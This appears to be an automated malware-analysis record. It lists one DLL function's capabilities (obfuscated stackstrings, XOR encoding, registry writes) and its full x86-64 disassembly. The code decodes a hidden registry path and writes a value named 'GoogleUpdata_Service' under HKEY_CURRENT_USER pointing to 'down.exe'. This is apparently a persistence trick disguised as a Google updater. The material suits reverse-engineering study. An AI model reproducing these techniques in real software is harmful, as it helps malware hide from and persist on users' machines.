Function at 0x180001860
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x18000a008]
xor rax, rsp
mov qword [rbp + 0x30], rax
lea rcx, [rbp - 0x20]
call fcn.1800011d0
nop
xor ebx, ebx
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], bx
lea r8d, [rbx + 9]
lea rdx, str.down.exe
lea rcx, [rbp - 0x40]
call fcn.1800026b0
nop
movabs rdx, 0x7ffffffffffffffe
mov rax, rdx
mov r15, qword [rbp - 0x10]
sub rax, r15
mov r12, qword [rbp - 0x30]
cmp rax, r12
jb 0x180001d8c
lea rax, [rbp - 0x20]
mov rsi, qword [rbp - 0x20]
cmp qword [rbp - 8], 8
cmovae rax, rsi
mov qword [rsp + 0x58], rax
lea rcx, [rbp - 0x40]
mov r14, qword [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rcx, r14
mov qword [rsp + 0x50], rcx
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
lea r13, [r15 + r12]
mov ebx, 7
lea rdi, [rbp - 0x80]
cmp r13, rbx
jbe 0x1800019c8
mov rbx, r13
or rbx, 7
cmp rbx, rdx
jbe 0x18000194e
mov rbx, rdx
mov rcx, 0xfffffffffffffffe
jmp 0x18000197d
mov ecx, 0xa
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
movabs rdx, 0x7fffffffffffffff
cmp rcx, rdx
ja 0x180001d86
add rcx, rcx
cmp rcx, 0x1000
jb 0x1800019ae
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180001d86
mov rcx, rax
call fcn.1800036b0
test rax, rax
je 0x180001cb7
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov rax, qword [rsp + 0x58]
jmp 0x1800019c4
test rcx, rcx
je 0x1800019c2
call fcn.1800036b0
mov rdi, rax
mov rax, qword [rsp + 0x58]
jmp 0x1800019c4
xor edi, edi
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], rbx
lea rbx, [r15 + r15]
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
lea r8, [r12 + r12]
mov rdx, qword [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
xor r15d, r15d
mov word [rdi + r13*2], r15w
mov dword [rbp + 1], 0x7477656c
mov dword [rbp + 5], 0x5f667162
mov dword [rbp + 9], 0x404a475f
mov dword [rbp + 0xd], 0x465b4648
mov dword [rbp + 0x11], 0x4b574253
mov byte [rbp + 0x15], r15b
lea rcx, [rbp]
mov al, 0x50
nop dword [rax]
xor al, 3
mov byte [rcx], al
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x180001a30
mov qword [rsp + 0x60], r15
mov rcx, r15
mov qword [rsp + 0x70], rcx
mov edx, 7
mov qword [rsp + 0x78], rdx
mov word [rsp + 0x60], r15w
movzx eax, byte [rbp]
test al, al
je 0x180001abe
lea rbx, [rbp]
nop dword [rax + rax]
movzx r9d, al
cmp rcx, rdx
jae 0x180001a9e
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 8
cmovae rax, qword [rsp + 0x60]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x180001aa8
lea rcx, [rsp + 0x60]
call fcn.180002bf0
inc rbx
movzx eax, byte [rbx]
test al, al
je 0x180001abe
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
jmp 0x180001a70
mov dword [rbp], 0x6f0047
mov dword [rbp + 4], 0x67006f
mov dword [rbp + 8], 0x65006c
mov dword [rbp + 0xc], 0x700055
mov dword [rbp + 0x10], 0x610064
mov dword [rbp + 0x14], 0x610074
mov dword [rbp + 0x18], 0x53005f
mov dword [rbp + 0x1c], 0x720065
mov dword [rbp + 0x20], 0x690076
mov dword [rbp + 0x24], 0x650063
mov word [rbp + 0x28], r15w
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 7
lea rax, [rbp]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x180001b24
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.1800026b0
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x180001bd3
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
mov eax, dword [rbp - 0x70]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x180001c16
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001c11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001c11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800036ec
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r15w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x180001c6c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001c67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001c67
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800036ec
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r15w
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x180001cc3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001cbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001cbe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800036ec
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r15w
mov rax, qword [rbp - 0x28]
cmp rax, 8
jb 0x180001d17
lea rdx, [rax*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x180001d0e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001d0e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.1800036ec
nop
mov rax, qword [rbp - 8]
cmp rax, 8
jb 0x180001d59
lea rdx, [rax*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180001d51
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001d51
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1800036ec
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.180003690
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180001110
nop
call fcn.1800011b0
int3